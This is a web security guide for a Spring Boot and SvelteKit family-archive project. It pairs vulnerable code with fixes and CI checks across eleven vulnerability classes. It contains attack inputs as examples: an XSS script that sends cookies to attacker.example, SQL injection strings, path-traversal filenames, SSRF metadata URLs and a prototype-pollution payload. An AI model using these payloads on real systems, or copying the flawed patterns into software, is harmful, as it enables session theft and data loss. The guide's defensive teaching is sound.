Files
familienarchiv/docs/security-guide.md
2026-04-14 23:21:15 +02:00

798 lines
29 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# Web Security Guide — Familienarchiv Stack
> *"Every input is a lie until proven trustworthy. Every endpoint is a vulnerability waiting for the right question."*
> — Nora "NullX" Steiner, Application Security Engineer
**Stack covered:** Spring Boot 4 · Java 21 · SvelteKit 2 / Svelte 5 · TypeScript · PostgreSQL 16 · MinIO · Spring Security · Spring Session JDBC
---
## Table of Contents
1. [Mass Assignment / Over-Posting (Spring Boot)](#1-mass-assignment--over-posting-spring-boot)
2. [Spring Boot Actuator Exposure](#2-spring-boot-actuator-exposure)
3. [SQL Injection via JPQL / Native Queries](#3-sql-injection-via-jpql--native-queries)
4. [XSS in SvelteKit](#4-xss-in-sveltekit)
5. [CORS Misconfiguration](#5-cors-misconfiguration)
6. [File Upload Attacks (MinIO / S3)](#6-file-upload-attacks-minio--s3)
7. [JWT / Session Attacks](#7-jwt--session-attacks)
8. [SSRF via User-Controlled URLs](#8-ssrf-via-user-controlled-urls)
9. [Insecure Direct Object Reference in File Downloads](#9-insecure-direct-object-reference-in-file-downloads)
10. [Prototype Pollution (TypeScript / Node.js layer)](#10-prototype-pollution-typescript--nodejs-layer)
11. [Secrets in Config / Environment](#11-secrets-in-config--environment)
---
## 1. Mass Assignment / Over-Posting (Spring Boot)
### The vulnerable pattern
When a controller binds a request body directly to the JPA entity, a client can set **any field** that exists on the model — including ones they should never touch.
```java
// BAD: DocumentController.java
@PutMapping("/api/documents/{id}")
public Document updateDocument(@PathVariable UUID id, @RequestBody Document document) {
document.setId(id);
return documentRepository.save(document); // ← saves WHATEVER the client sent
}
```
**Attack:** The client sends `{"status":"ARCHIVED","id":"<another-user-doc-uuid>"}` in the body and silently promotes a document or takes over a foreign record.
### The fix in context
Use a **DTO** for input and copy only the fields you explicitly allow. Your project already has `DocumentUpdateDTO` — use it everywhere.
```java
// GOOD: DocumentController.java
@PutMapping("/api/documents/{id}")
@RequirePermission(Permission.WRITE_ALL)
public Document updateDocument(@PathVariable UUID id, @RequestBody DocumentUpdateDTO dto) {
return documentService.updateDocument(id, dto); // service decides what changes
}
// GOOD: DocumentService.java
@Transactional
public Document updateDocument(UUID id, DocumentUpdateDTO dto) {
Document doc = documentRepository.findById(id)
.orElseThrow(() -> DomainException.notFound(ErrorCode.DOCUMENT_NOT_FOUND, "Document not found: " + id));
// Explicitly copy only fields the DTO is allowed to change
if (dto.getTitle() != null) doc.setTitle(dto.getTitle());
if (dto.getDocumentDate() != null) doc.setDocumentDate(dto.getDocumentDate());
if (dto.getStatus() != null) {
validateStatusTransition(doc.getStatus(), dto.getStatus()); // guard the lifecycle
doc.setStatus(dto.getStatus());
}
// id, createdAt, owner — never touched
return documentRepository.save(doc);
}
```
**Why:** JPA entities are your persistence model, not your API contract. Treat them as internal objects. DTOs are the surface you expose.
**Catch it in CI:**
```yaml
# Semgrep rule — flag direct @RequestBody Entity in controllers
rules:
- id: mass-assignment-entity-request-body
patterns:
- pattern: |
@RequestBody $ENTITY $PARAM
- pattern-not: |
@RequestBody $DTO $PARAM
message: "Binding request body directly to JPA entity risks mass assignment. Use a DTO."
languages: [java]
severity: WARNING
```
---
## 2. Spring Boot Actuator Exposure
### The vulnerable pattern
Spring Boot Actuator ships many endpoints (`/actuator/heapdump`, `/actuator/env`, `/actuator/beans`) that expose sensitive runtime data. The default in Boot 4 exposes `health` and `info` — but misconfigured apps expose everything.
```yaml
# BAD: application.yml
management:
endpoints:
web:
exposure:
include: "*" # ← exposes heapdump, env, beans, loggers, mappings, sessions, ...
```
**Attack:** `GET /actuator/heapdump` returns a full JVM heap dump. Parse it offline with `jhat` or Eclipse MAT to extract:
- PostgreSQL passwords from `spring.datasource.password`
- MinIO secret keys
- Active Spring Session tokens (from JDBC session store)
- Full in-memory document objects
This is not theoretical — it's one of the most common critical findings in Spring Boot apps.
### The fix in context
```yaml
# GOOD: application.yml (production profile)
management:
endpoints:
web:
exposure:
include: "health,info" # only what you need for load balancer probes
endpoint:
health:
show-details: never # don't expose DB/MinIO health details publicly
```
```yaml
# GOOD: application-dev.yml (dev profile only — used locally and in CI)
management:
endpoints:
web:
exposure:
include: "*" # full access in dev is fine
```
Also secure the actuator path with Spring Security so even `health` isn't public if you don't need it:
```java
// GOOD: SecurityConfig.java
http.authorizeHttpRequests(auth -> auth
.requestMatchers("/actuator/health").permitAll()
.requestMatchers("/actuator/**").hasAuthority(Permission.ADMIN.name())
.requestMatchers("/api/**").authenticated()
.anyRequest().denyAll()
);
```
**Why:** A heap dump is a complete snapshot of your application's memory at the moment of capture. Every string, every object, every credential your app has ever loaded is potentially in there.
**Catch it in CI:**
```bash
# Integration test: assert /actuator/heapdump returns 403/404 when not authenticated
curl -o /dev/null -s -w "%{http_code}" http://localhost:8080/actuator/heapdump | grep -qv 200
```
---
## 3. SQL Injection via JPQL / Native Queries
### The vulnerable pattern
Hibernate/JPA protects you when you use `@Query` with named parameters — but not when you concatenate strings.
```java
// BAD: DocumentRepository.java
@Query(value = "SELECT * FROM documents WHERE title LIKE '%" + title + "%'", nativeQuery = true)
List<Document> searchByTitle(String title);
// Also BAD: building JPQL dynamically via string concat
String jpql = "FROM Document d WHERE d.title LIKE '%" + query + "%'";
entityManager.createQuery(jpql).getResultList();
```
**Attack:** Input `%'; DROP TABLE documents; --` or `%' UNION SELECT username, password, null, null FROM app_users--` to read the user table.
### The fix in context
```java
// GOOD: Use named parameters — Hibernate escapes them correctly
@Query("SELECT d FROM Document d WHERE LOWER(d.title) LIKE LOWER(CONCAT('%', :query, '%'))")
List<Document> searchByTitle(@Param("query") String query);
// GOOD: For dynamic filtering, use JPA Criteria API or Specifications
public List<Document> searchDocuments(String query, LocalDate from, LocalDate to) {
return documentRepository.findAll((root, cq, cb) -> {
List<Predicate> predicates = new ArrayList<>();
if (query != null) {
predicates.add(cb.like(cb.lower(root.get("title")),
"%" + query.toLowerCase().replace("%", "\\%") + "%"));
}
if (from != null) predicates.add(cb.greaterThanOrEqualTo(root.get("documentDate"), from));
if (to != null) predicates.add(cb.lessThanOrEqualTo(root.get("documentDate"), to));
return cb.and(predicates.toArray(new Predicate[0]));
});
}
```
Note the manual `%` escaping in the Criteria API example — the API itself doesn't escape LIKE wildcards.
**Why:** Named parameters go through JDBC PreparedStatement binding. The driver sends query structure and data separately — the database never interprets user input as SQL.
**Catch it in CI:**
```java
// Unit test with injection payload
@Test
void searchIsSafeAgainstSqlInjection() {
String malicious = "'; DROP TABLE documents; --";
assertDoesNotThrow(() -> documentService.searchDocuments(malicious, null, null));
assertTrue(documentRepository.count() > 0); // table still exists
}
```
---
## 4. XSS in SvelteKit
### The vulnerable pattern
Svelte auto-escapes `{variable}` expressions — that's your default protection. The vulnerability appears when you bypass it.
```svelte
<!-- BAD: +page.svelte — rendering raw HTML from the database -->
<div class="description">
{@html document.description}
</div>
<!-- Also BAD: using innerHTML via DOM manipulation -->
<script>
onMount(() => {
container.innerHTML = document.rawContent; // ← bypasses Svelte's escaping
});
</script>
```
**Attack:** A user stores `<script>fetch('https://attacker.example/steal?c='+document.cookie)</script>` in the `description` field. Every user who views the document executes the script — stealing session cookies, CSRF tokens, or performing actions on behalf of the victim (stored XSS).
### The fix in context
```svelte
<!-- GOOD: default Svelte expression — auto-escaped, always safe -->
<div class="description">
{document.description}
</div>
<!-- GOOD: if you genuinely need HTML rendering (e.g. rich text from a trusted editor),
sanitize server-side before storing, and again before rendering -->
<script lang="ts">
import DOMPurify from 'dompurify'; // npm install dompurify @types/dompurify
// Sanitize before rendering — never trust stored HTML directly
$: safeHtml = DOMPurify.sanitize(document.richContent ?? '', {
ALLOWED_TAGS: ['p', 'b', 'i', 'ul', 'li', 'br'],
ALLOWED_ATTR: []
});
</script>
<div class="description">
{@html safeHtml}
</div>
```
**Prefer storing plain text.** Only use `{@html}` when you have a real product requirement for rich formatting — and always with sanitization.
**Why:** `{@html}` disables Svelte's template-level escaping. It's a deliberate escape hatch, not a normal rendering path. Spring Security's `Content-Security-Policy` header is your second line of defense:
```java
// GOOD: SecurityConfig.java — add CSP header
http.headers(headers -> headers
.contentSecurityPolicy(csp -> csp
.policyDirectives("default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'")
)
);
```
**Catch it in CI:**
```bash
# Semgrep: flag all uses of {@html} in .svelte files for manual review
grep -r '{@html' frontend/src/ --include="*.svelte"
```
---
## 5. CORS Misconfiguration
### The vulnerable pattern
```java
// BAD: SecurityConfig.java — wildcard CORS with credentials
@Bean
public CorsConfigurationSource corsConfigurationSource() {
CorsConfiguration config = new CorsConfiguration();
config.setAllowedOrigins(List.of("*")); // ← wildcard
config.setAllowCredentials(true); // ← with credentials = critical flaw
config.setAllowedMethods(List.of("*"));
// ...
}
```
Browsers block `credentials: true` with `*` origins — but some frameworks silently reflect the request `Origin` header instead:
```java
// BAD: reflects whatever origin the request sends
config.setAllowedOriginPatterns(List.of("*")); // Spring's allowedOriginPatterns("*") does allow credentials
```
**Attack:** Attacker hosts a page at `https://evil.example`. Victim visits it while logged into Familienarchiv. The evil page calls `fetch('https://familienarchiv.example/api/documents', {credentials:'include'})` and reads the family's documents.
### The fix in context
```java
// GOOD: explicit allowlist of origins
@Bean
public CorsConfigurationSource corsConfigurationSource() {
CorsConfiguration config = new CorsConfiguration();
// Explicit origins only — no wildcards when credentials are involved
List<String> allowedOrigins = List.of(
"http://localhost:3000", // dev frontend
"https://familienarchiv.example" // prod
);
config.setAllowedOrigins(allowedOrigins);
config.setAllowCredentials(true);
config.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
config.setAllowedHeaders(List.of("Authorization", "Content-Type"));
config.setMaxAge(3600L);
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
source.registerCorsConfiguration("/api/**", config);
return source;
}
```
**Why:** `credentials: include` sends the session cookie cross-origin. If CORS allows it from any origin, the attacker's site can perform authenticated API calls in the victim's session. This is essentially CSRF with full response reading.
**Catch it in CI:**
```bash
# Assert that a random origin is not reflected back
curl -H "Origin: https://evil.example" -v http://localhost:8080/api/documents 2>&1 \
| grep "Access-Control-Allow-Origin" | grep -qv "evil.example"
```
---
## 6. File Upload Attacks (MinIO / S3)
### The vulnerable pattern
```java
// BAD: FileService.java — trusting the client-supplied content type and filename
public String uploadFile(MultipartFile file, UUID documentId) {
String filename = file.getOriginalFilename(); // ← attacker controls this
String contentType = file.getContentType(); // ← attacker controls this (HTTP header)
minioClient.putObject(PutObjectArgs.builder()
.bucket("archive-documents")
.object(filename) // path traversal: "../../etc/passwd"
.contentType(contentType) // stored XSS via "text/html"
.stream(file.getInputStream(), file.getSize(), -1)
.build());
return filename;
}
```
**Attacks:**
- **Path traversal:** filename `../../config/application.yml` writes outside the intended directory
- **Stored XSS via upload:** upload an HTML file with content type `text/html`, get a link, share it — browser executes the JS
- **Large file DoS:** no size limit → 10 GB upload exhausts disk/memory
### The fix in context
```java
// GOOD: FileService.java
private static final Set<String> ALLOWED_CONTENT_TYPES = Set.of(
"application/pdf", "image/jpeg", "image/png", "image/tiff",
"application/vnd.openxmlformats-officedocument.wordprocessingml.document"
);
private static final long MAX_FILE_SIZE = 50 * 1024 * 1024; // 50 MB
public String uploadFile(MultipartFile file, UUID documentId) throws IOException {
// 1. Reject disallowed types — detect from magic bytes, not just the header
String detectedType = detectMimeType(file.getInputStream()); // use Apache Tika
if (!ALLOWED_CONTENT_TYPES.contains(detectedType)) {
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED,
"File type not allowed: " + detectedType);
}
// 2. Enforce size limit
if (file.getSize() > MAX_FILE_SIZE) {
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "File exceeds 50 MB limit");
}
// 3. Generate a server-controlled object key — never use the original filename
String extension = getExtensionForMimeType(detectedType); // ".pdf", ".jpg", etc.
String objectKey = documentId.toString() + "/" + UUID.randomUUID() + extension;
minioClient.putObject(PutObjectArgs.builder()
.bucket("archive-documents")
.object(objectKey) // server-controlled path
.contentType(detectedType) // server-detected, not client-supplied
.stream(file.getInputStream(), file.getSize(), -1)
.build());
return objectKey;
}
private String detectMimeType(InputStream stream) throws IOException {
Tika tika = new Tika();
return tika.detect(stream);
}
```
**Also:** Set `Content-Disposition: attachment` on file download responses to prevent inline rendering in the browser:
```java
// GOOD: DocumentController.java — serve files as download, not inline
ResponseEntity.ok()
.header("Content-Disposition", "attachment; filename=\"document.pdf\"")
.header("Content-Type", "application/pdf")
.body(fileBytes);
```
**Why:** Browsers will render any response with `Content-Type: text/html` as a page, executing scripts. Serving files with `Content-Disposition: attachment` forces download. Detecting MIME via magic bytes (Apache Tika) catches files that lie about their type.
**Catch it in CI:**
```java
@Test
void rejectsHtmlFileUpload() throws Exception {
MockMultipartFile htmlFile = new MockMultipartFile(
"file", "evil.html", "text/html", "<script>alert(1)</script>".getBytes());
mockMvc.perform(multipart("/api/documents/{id}/file", docId).file(htmlFile))
.andExpect(status().isBadRequest());
}
```
---
## 7. JWT / Session Attacks
You use **Spring Session JDBC** — that means sessions are stored in the database, not in JWTs. This is actually the safer default. But there are still pitfalls.
### The vulnerable pattern
```java
// BAD: accepting "alg: none" in a JWT — relevant if you add any JWT-based endpoints
Jwts.parserBuilder()
.build() // ← no signing key configured
.parseClaimsJws(token); // accepts unsigned tokens
```
```java
// BAD: not invalidating the session on logout
@PostMapping("/logout")
public void logout(HttpSession session) {
// session.invalidate() never called — old session ID still works
SecurityContextHolder.clearContext();
}
```
### The fix in context
```java
// GOOD: Spring Security logout invalidates the session automatically
http.logout(logout -> logout
.logoutUrl("/logout")
.invalidateHttpSession(true) // deletes from spring_session table
.deleteCookies("SESSION") // clears the client cookie
.logoutSuccessUrl("/login")
);
```
```java
// GOOD: if you add JWT later, always specify the algorithm explicitly
String secret = environment.getRequiredProperty("app.jwt.secret");
SecretKey key = Keys.hmacShaKeyFor(Decoders.BASE64.decode(secret));
Jwts.parserBuilder()
.setSigningKey(key)
.requireAudience("familienarchiv-api")
.build()
.parseClaimsJws(token); // rejects alg:none and wrong-key tokens
```
**Session fixation protection** — Spring Security enables this by default, but verify it's not disabled:
```java
// GOOD: session fixation protection (this is the Spring Security default — don't override it)
http.sessionManagement(session -> session
.sessionFixation().migrateSession() // new session ID after login
.maximumSessions(5) // limit concurrent sessions per user
);
```
**Why:** An `alg:none` JWT attack lets an attacker craft tokens with arbitrary claims (e.g., `{"role":"ADMIN"}`) and have the server accept them without a valid signature. Session fixation lets an attacker pre-set a session ID, trick a victim into authenticating with it, then use that known ID to act as the victim.
**Catch it in CI:**
```java
@Test
void sessionIsInvalidatedOnLogout() throws Exception {
// Login, capture session cookie
MvcResult login = mockMvc.perform(post("/login").param("username","user").param("password","pass"))
.andExpect(status().is3xxRedirection()).andReturn();
String sessionCookie = login.getResponse().getHeader("Set-Cookie");
// Logout
mockMvc.perform(post("/logout").header("Cookie", sessionCookie)).andExpect(status().is3xxRedirection());
// Assert old session is rejected
mockMvc.perform(get("/api/documents").header("Cookie", sessionCookie))
.andExpect(status().isUnauthorized());
}
```
---
## 8. SSRF via User-Controlled URLs
### The vulnerable pattern
If any feature lets a user supply a URL that the server fetches (e.g., importing a document from a URL, fetching a remote avatar, webhook callbacks), you have an SSRF surface.
```java
// BAD: DocumentService.java — fetching user-supplied URL
public byte[] fetchDocumentFromUrl(String url) throws IOException {
return new URL(url).openStream().readAllBytes(); // ← no validation
}
```
**Attack:** Supply `http://169.254.169.254/latest/meta-data/` (AWS metadata), `http://minio:9000/` (internal MinIO admin), or `http://localhost:8080/actuator/env` (your own actuator) to probe or exfiltrate internal services.
### The fix in context
```java
// GOOD: validate against an allowlist before fetching
private static final List<String> ALLOWED_HOSTS = List.of("trusted-source.example.com");
public byte[] fetchDocumentFromUrl(String rawUrl) throws IOException {
URI uri;
try {
uri = new URI(rawUrl);
} catch (URISyntaxException e) {
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "Invalid URL");
}
// Allowlist check
if (!ALLOWED_HOSTS.contains(uri.getHost())) {
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED,
"URL host not permitted: " + uri.getHost());
}
// Enforce HTTPS only
if (!"https".equalsIgnoreCase(uri.getScheme())) {
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "Only HTTPS URLs are allowed");
}
// Resolve to IP and block private ranges
InetAddress addr = InetAddress.getByName(uri.getHost());
if (addr.isLoopbackAddress() || addr.isSiteLocalAddress() || addr.isLinkLocalAddress()) {
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "Private IP range not allowed");
}
HttpClient client = HttpClient.newBuilder()
.followRedirects(HttpClient.Redirect.NEVER) // prevent redirect-based bypass
.connectTimeout(Duration.ofSeconds(5))
.build();
HttpResponse<byte[]> response = client.send(
HttpRequest.newBuilder(uri).GET().build(),
HttpResponse.BodyHandlers.ofByteArray()
);
return response.body();
}
```
**Why:** Internal cloud metadata endpoints and Docker network services don't require authentication — they're only protected by network topology. SSRF breaks that assumption by making your server the attacker's proxy.
**Catch it in CI:** Test that `http://127.0.0.1/`, `http://169.254.169.254/`, and `http://minio:9000/` are rejected with an error status.
---
## 9. Insecure Direct Object Reference in File Downloads
### The vulnerable pattern
```java
// BAD: FileService.java — serving any object key the client requests
@GetMapping("/api/files/{objectKey}")
public ResponseEntity<byte[]> downloadFile(@PathVariable String objectKey) {
byte[] data = fileService.download(objectKey); // ← no ownership check
return ResponseEntity.ok(data);
}
```
**Attack:** A user who knows (or guesses) another document's `objectKey` can download its file. Object keys in your current pattern are `{documentId}/{uuid}.pdf` — someone with `READ_ALL` can enumerate by trying known document IDs.
### The fix in context
```java
// GOOD: tie file access to document access — go through the document, not directly to storage
@GetMapping("/api/documents/{id}/file")
@RequirePermission(Permission.READ_ALL)
public ResponseEntity<byte[]> downloadFile(@PathVariable UUID id, Principal principal) {
// This call checks ownership — if the user can't see the document, they get 404
Document doc = documentService.getDocument(id, userService.getCurrentUser(principal));
if (doc.getStoragePath() == null) {
throw DomainException.notFound(ErrorCode.DOCUMENT_NOT_FOUND, "No file for document " + id);
}
byte[] data = fileService.download(doc.getStoragePath()); // server resolves the path
String filename = doc.getTitle().replaceAll("[^a-zA-Z0-9._-]", "_") + ".pdf";
return ResponseEntity.ok()
.header("Content-Disposition", "attachment; filename=\"" + filename + "\"")
.header("Content-Type", doc.getMimeType())
.body(data);
}
```
**Why:** The storage path is an internal detail. Clients should never supply it directly — they supply a document ID, and the server resolves the path. This also means renaming or moving files in storage is transparent to the client.
---
## 10. Prototype Pollution (TypeScript / Node.js layer)
### The vulnerable pattern
Prototype pollution affects your SvelteKit server-side rendering layer (Node.js runtime).
```typescript
// BAD: merging user input into an object with a recursive merge utility
function mergeDeep(target: any, source: any) {
for (const key of Object.keys(source)) {
if (source[key] instanceof Object) {
mergeDeep(target[key] ??= {}, source[key]);
} else {
target[key] = source[key]; // ← key could be "__proto__"
}
}
}
// Attacker sends: {"__proto__": {"isAdmin": true}}
mergeDeep(userSettings, JSON.parse(req.body));
// Now: ({}).isAdmin === true — for EVERY object in this process
```
### The fix in context
```typescript
// GOOD: use structuredClone or JSON.parse(JSON.stringify(...)) for safe deep copy
// structuredClone is available in Node 17+ and is prototype-safe
const safeCopy = structuredClone(userInput);
// GOOD: if you must merge, use Object.create(null) as base (no prototype)
const settings = Object.create(null) as Record<string, unknown>;
Object.assign(settings, sanitizedInput);
// GOOD: validate with Zod — invalid keys are stripped at the schema boundary
import { z } from 'zod';
const UserSettingsSchema = z.object({
theme: z.enum(['light', 'dark']),
language: z.enum(['de', 'en', 'es']),
});
const parsed = UserSettingsSchema.parse(rawInput); // unknown keys dropped
```
**Why:** `__proto__` is a special property on all JavaScript objects. Writing to it affects `Object.prototype` — the root of every plain object in the Node.js process. If your authorization logic does `if (user.isAdmin)` and prototype pollution sets `Object.prototype.isAdmin = true`, every user becomes admin for the lifetime of the process.
**Catch it in CI:**
```bash
# npm audit catches known-vulnerable deep-merge libraries (e.g. lodash < 4.17.21)
npm audit --audit-level=high
```
---
## 11. Secrets in Config / Environment
### The vulnerable pattern
```yaml
# BAD: application.yml — secrets in version control
spring:
datasource:
url: jdbc:postgresql://localhost:5432/familienarchiv
username: app
password: SuperSecret123! # ← checked into git
minio:
access-key: minioadmin
secret-key: minioadmin123
```
```bash
# BAD: .env with real credentials committed
MINIO_SECRET_KEY=production-secret-key-here
```
### The fix in context
```yaml
# GOOD: application.yml — reference environment variables, never inline secrets
spring:
datasource:
url: ${DB_URL:jdbc:postgresql://localhost:5432/familienarchiv}
username: ${DB_USERNAME:app}
password: ${DB_PASSWORD} # no default — fails fast if not set
minio:
access-key: ${MINIO_ACCESS_KEY}
secret-key: ${MINIO_SECRET_KEY}
```
```yaml
# GOOD: docker-compose.yml — inject from host environment or .env file
services:
backend:
environment:
- DB_PASSWORD=${DB_PASSWORD}
- MINIO_SECRET_KEY=${MINIO_SECRET_KEY}
```
```bash
# .env.example (committed — template only, no real values)
DB_PASSWORD=change-me
MINIO_SECRET_KEY=change-me
# .env (NOT committed — add to .gitignore)
DB_PASSWORD=actual-production-secret
```
**Verify your .gitignore:**
```gitignore
.env
.env.local
*.env
application-prod.yml
application-production.yml
```
**Why:** Git history is permanent. Even if you delete a secret in a later commit, it's still in `git log` and will be found by automated scanners (Trufflehog, GitLeaks, GitHub secret scanning). Rotation is the only fix after a leak — and rotation is expensive and error-prone.
**Catch it in CI:**
```bash
# Run trufflehog or gitleaks on every PR
docker run --rm -v "$PWD:/repo" trufflesecurity/trufflehog:latest git file:///repo --fail
```
---
## Summary Matrix
| # | Vulnerability | Severity | Your Stack's Risk | Fixed By |
|---|---|---|---|---|
| 1 | Mass Assignment | HIGH | `@RequestBody Entity` in any controller | DTOs everywhere |
| 2 | Actuator Exposure | CRITICAL | `include: "*"` in prod | Allowlist + require ADMIN |
| 3 | SQL Injection | HIGH | Native query string concat | Named parameters / Criteria API |
| 4 | XSS | HIGH | `{@html}` with stored content | DOMPurify + CSP header |
| 5 | CORS Misconfiguration | HIGH | `allowedOriginPatterns("*")` with credentials | Explicit origin allowlist |
| 6 | File Upload | MEDIUMHIGH | No type detection, no size limit | Tika magic bytes + size cap |
| 7 | Session/JWT Attacks | HIGH | Session not invalidated on logout | Spring Security logout config |
| 8 | SSRF | MEDIUM | Any user-supplied URL fetch | Host allowlist + private IP block |
| 9 | File Download IDOR | MEDIUM | Direct object key in URL | Route file access through document access |
| 10 | Prototype Pollution | MEDIUM | Recursive merge of user input | Zod schema validation |
| 11 | Secrets in Config | CRITICAL | Inline secrets in YAML | Env var references |
---
## Recommended CI Pipeline Additions
```yaml
# .github/workflows/security.yml (or equivalent in your Gitea CI)
security:
steps:
- name: Dependency audit (npm)
run: cd frontend && npm audit --audit-level=high
- name: Dependency audit (Maven)
run: cd backend && ./mvnw org.owasp:dependency-check-maven:check
- name: Secret scanning
run: docker run --rm -v "$PWD:/repo" trufflesecurity/trufflehog:latest git file:///repo --fail
- name: SAST (Semgrep)
run: semgrep --config=p/java --config=p/typescript --config=p/owasp-top-ten src/
- name: Actuator check (integration)
run: |
curl -sf http://localhost:8080/actuator/heapdump && exit 1 || true
curl -sf http://localhost:8080/actuator/env && exit 1 || true
```
---
*Document version: 2026-03-27 · Reviewed against OWASP WSTG v4.2 and OWASP Top 10 2021*
*Stack versions: Spring Boot 4.0 · SvelteKit 2 / Svelte 5 · PostgreSQL 16 · MinIO RELEASE.2024+*